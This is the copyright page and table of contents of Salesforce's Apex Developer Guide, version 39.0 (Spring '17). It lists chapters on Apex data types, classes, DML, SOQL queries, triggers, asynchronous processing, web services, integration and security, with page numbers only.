Apex Developer Guide Salesforce
User Manual:
Open the PDF directly: View PDF .Page Count: 2854
Apex Developer Guide
Version 39.0, Spring ’17
@salesforcedocs
Last updated: April 17, 2017
© Copyright 2000–2017 salesforce.com, inc. All rights reserved. Salesforce is a registered trademark of salesforce.com, inc.,
as are other names and marks. Other marks appearing herein may be trademarks of their respective owners.
CONTENTS
GETTING STARTED
.................................................1
Chapter 1: Introducing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
What is Apex? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
When Should I Use Apex? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
How Does Apex Work? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
Developing Code in the Cloud . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
What's New? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Understanding Apex Core Concepts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
Chapter 2: Apex Development Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
What is the Apex Development Process? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
Create a Developer or Sandbox Org . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
Learning Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
Writing Apex Using Development Environments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
Writing Tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Deploying Apex to a Sandbox Organization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Deploying Apex to a Salesforce Production Organization . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Adding Apex Code to a Force.com AppExchange App . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Chapter 3: Apex Quick Start . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Writing Your First Apex Class and Trigger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Create a Custom Object . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Adding an Apex Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Add an Apex Trigger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Add a Test Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
Deploying Components to Production . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
WRITING APEX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
Chapter 4: Data Types and Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
Data Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Primitive Data Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Collections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
Lists . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
Sets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
Maps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
Parameterized Typing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Enums . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Contents
Constants . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
Expressions and Operators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Understanding Expressions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Understanding Expression Operators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
Understanding Operator Precedence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
Using Comments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
Assignment Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
Understanding Rules of Conversion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
Chapter 5: Control Flow Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
Conditional (If-Else) Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
Loops . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
Do-While Loops . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
While Loops . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
For Loops . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
Chapter 6: Classes, Objects, and Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
Understanding Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
Apex Class Definition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
Class Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
Class Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
Using Constructors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
Access Modifiers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
Static and Instance Methods, Variables, and Initialization Code . . . . . . . . . . . . . . . . . . . 61
Apex Properties . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
Extending a Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
Extended Class Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
Understanding Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
Custom Iterators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
Keywords . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
Using the final Keyword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
Using the instanceof Keyword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
Using the super Keyword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
Using the this Keyword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
Using the transient Keyword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
Using the with sharing or without sharing Keywords . . . . . . . . . . . . . . . . . . . . . . . . . 80
Annotations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
AuraEnabled Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
Deprecated Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
Future Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
InvocableMethod Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
InvocableVariable Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
IsTest Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
ReadOnly Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
Contents
RemoteAction Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
TestSetup Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
TestVisible Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
Apex REST Annotations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
Classes and Casting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
Classes and Collections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
Collection Casting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
Differences Between Apex Classes and Java Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
Class Definition Creation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
Naming Conventions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
Name Shadowing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
Namespace Prefix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
Using the System Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
Using the Schema Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
Namespace, Class, and Variable Name Precedence . . . . . . . . . . . . . . . . . . . . . . . . 104
Type Resolution and System Namespace for Types . . . . . . . . . . . . . . . . . . . . . . . . . . 105
Apex Code Versions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
Setting the Salesforce API Version for Classes and Triggers . . . . . . . . . . . . . . . . . . . . . 106
Setting Package Versions for Apex Classes and Triggers . . . . . . . . . . . . . . . . . . . . . . 107
Lists of Custom Types and Sorting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Using Custom Types in Map Keys and Sets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Chapter 7: Working with Data in Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
sObject Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
Accessing sObject Fields . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
Validating sObjects and Fields . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114
Adding and Retrieving Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114
DML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
DML Statements vs. Database Class Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
DML Operations As Atomic Transactions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
How DML Works . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
DML Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118
DML Exceptions and Error Handling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130
More About DML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
Locking Records . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143
SOQL and SOSL Queries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144
Working with SOQL and SOSL Query Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145
Accessing sObject Fields Through Relationships . . . . . . . . . . . . . . . . . . . . . . . . . . . . 146
Understanding Foreign Key and Parent-Child Relationship SOQL Queries . . . . . . . . . . . 147
Working with SOQL Aggregate Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148
Working with Very Large SOQL Queries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148
Using SOQL Queries That Return One Record . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
Improving Performance by Not Searching on Null Values . . . . . . . . . . . . . . . . . . . . . . 151
Working with Polymorphic Relationships in SOQL Queries . . . . . . . . . . . . . . . . . . . . . . 152
Contents
Using Apex Variables in SOQL and SOSL Queries . . . . . . . . . . . . . . . . . . . . . . . . . . . 153
Querying All Records with a SOQL Statement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155
SOQL For Loops . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155
sObject Collections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
Lists of sObjects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
Sorting Lists of sObjects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 159
Expanding sObject and List Expressions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 162
Sets of Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163
Maps of sObjects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163
Dynamic Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 165
Understanding Apex Describe Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 166
Using Field Tokens . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168
Understanding Describe Information Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . 169
Describing sObjects Using Schema Method . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170
Describing Tabs Using Schema Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170
Accessing All sObjects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172
Accessing All Data Categories Associated with an sObject . . . . . . . . . . . . . . . . . . . . . 172
Dynamic SOQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177
Dynamic SOSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178
Dynamic DML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 180
Apex Security and Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182
Enforcing Sharing Rules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182
Enforcing Object and Field Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 184
Class Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185
Understanding Apex Managed Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186
Security Tips for Apex and Visualforce Development . . . . . . . . . . . . . . . . . . . . . . . . . 199
Custom Settings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 206
WAYS TO INVOKE APEX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 208
Chapter 8: Invoking Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 208
Anonymous Blocks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 209
Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 210
Bulk Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 211
Trigger Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 212
Trigger Context Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 212
Context Variable Considerations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
Common Bulk Trigger Idioms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
Defining Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217
Triggers and Merge Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
Triggers and Recovered Records . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
Triggers and Order of Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
Operations That Don't Invoke Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221
Entity and Field Considerations in Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 222
Contents
Triggers for Chatter Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 224
Trigger Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 226
Trigger and Bulk Request Best Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 226
Asynchronous Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 227
Future Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 228
Future Methods with Higher Limits (Pilot) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231
Queueable Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232
Apex Scheduler . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 234
Batch Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241
Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 254
Exposing Apex Methods as SOAP Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . 254
Exposing Apex Classes as REST Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 257
Apex Email Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 266
Using the InboundEmail Object . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 267
Visualforce Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269
Invoking Apex Using JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269
JavaScript Remoting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269
Apex in AJAX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 270
Chapter 9: Apex Transactions and Governor Limits . . . . . . . . . . . . . . . . . . . . . . . . . 272
Apex Transactions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 273
Execution Governors and Limits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 274
Set Up Governor Limit Email Warnings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281
Running Apex within Governor Execution Limits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 282
Chapter 10: Using Salesforce Features with Apex . . . . . . . . . . . . . . . . . . . . . . . . . . 285
Actions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 286
Approval Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 286
Apex Approval Processing Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 287
Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 288
Create a Custom Authentication Provider Plug-in . . . . . . . . . . . . . . . . . . . . . . . . . . . 288
Chatter Answers and Ideas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 294
Chatter in Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 294
Chatter in Apex Examples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 295
Chatter in Apex Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323
Using ConnectApi Input and Output Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 355
Understanding Limits for ConnectApi Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 356
Serializing and Deserializing ConnectApi Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . 356
ConnectApi Versioning and Equality Checking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 356
Casting ConnectApi Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 357
Wildcards . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 357
Testing ConnectApi Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 358
Differences Between ConnectApi Classes and Other Apex Classes . . . . . . . . . . . . . . . 359
Moderate Chatter Private Messages with Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 360
Contents
Moderate Feed Items with Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 363
Communities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 363
Email . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 364
Inbound Email . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 364
Outbound Email . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 364
Platform Cache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 366
Platform Cache Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 367
Platform Cache Considerations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 368
Platform Cache Limits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 369
Platform Cache Partitions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 370
Platform Cache Internals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 371
Store and Retrieve Values from the Session Cache . . . . . . . . . . . . . . . . . . . . . . . . . . 372
Use a Visualforce Global Variable for the Session Cache . . . . . . . . . . . . . . . . . . . . . . 373
Store and Retrieve Values from the Org Cache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 374
Platform Cache Best Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 375
Salesforce Knowledge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 378
Knowledge Management . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 379
Promoted Search Terms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 379
Suggest Salesforce Knowledge Articles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 380
Salesforce Connect . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 383
Salesforce Connect . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 384
Writable External Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 387
Get Started with the Apex Connector Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . 387
Key Concepts About the Apex Connector Framework . . . . . . . . . . . . . . . . . . . . . . . . 394
Considerations for the Apex Connector Framework . . . . . . . . . . . . . . . . . . . . . . . . . 403
Apex Connector Framework Examples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 403
Salesforce Reports and Dashboards API via Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 421
Requirements and Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422
Run Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422
List Asynchronous Runs of a Report . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 423
Get Report Metadata . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 424
Get Report Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 424
Filter Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 425
Decode the Fact Map . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 426
Test Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 429
Force.com Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 431
Rewriting URLs for Force.com Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 431
Support Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 438
Territory Management 2.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 439
Visual Workflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 441
Getting Flow Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 441
Passing Data to a Flow Using the Process.Plugin Interface . . . . . . . . . . . . . . . . . . . . . 442
Chapter 11: Integration and Apex Utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 456
Contents
Invoking Callouts Using Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 457
Adding Remote Site Settings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 457
Named Credentials as Callout Endpoints . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 457
SOAP Services: Defining a Class from a WSDL Document . . . . . . . . . . . . . . . . . . . . . . 461
Invoking HTTP Callouts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 474
Using Certificates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 482
Callout Limits and Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 484
Make Long-Running Callouts from a Visualforce Page . . . . . . . . . . . . . . . . . . . . . . . 485
JSON Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 498
Roundtrip Serialization and Deserialization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 500
JSON Generator . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 502
JSON Parsing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 503
XML Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 506
Reading and Writing XML Using Streams . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 506
Reading and Writing XML Using the DOM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 510
Securing Your Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 513
Encoding Your Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 516
Using Patterns and Matchers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 516
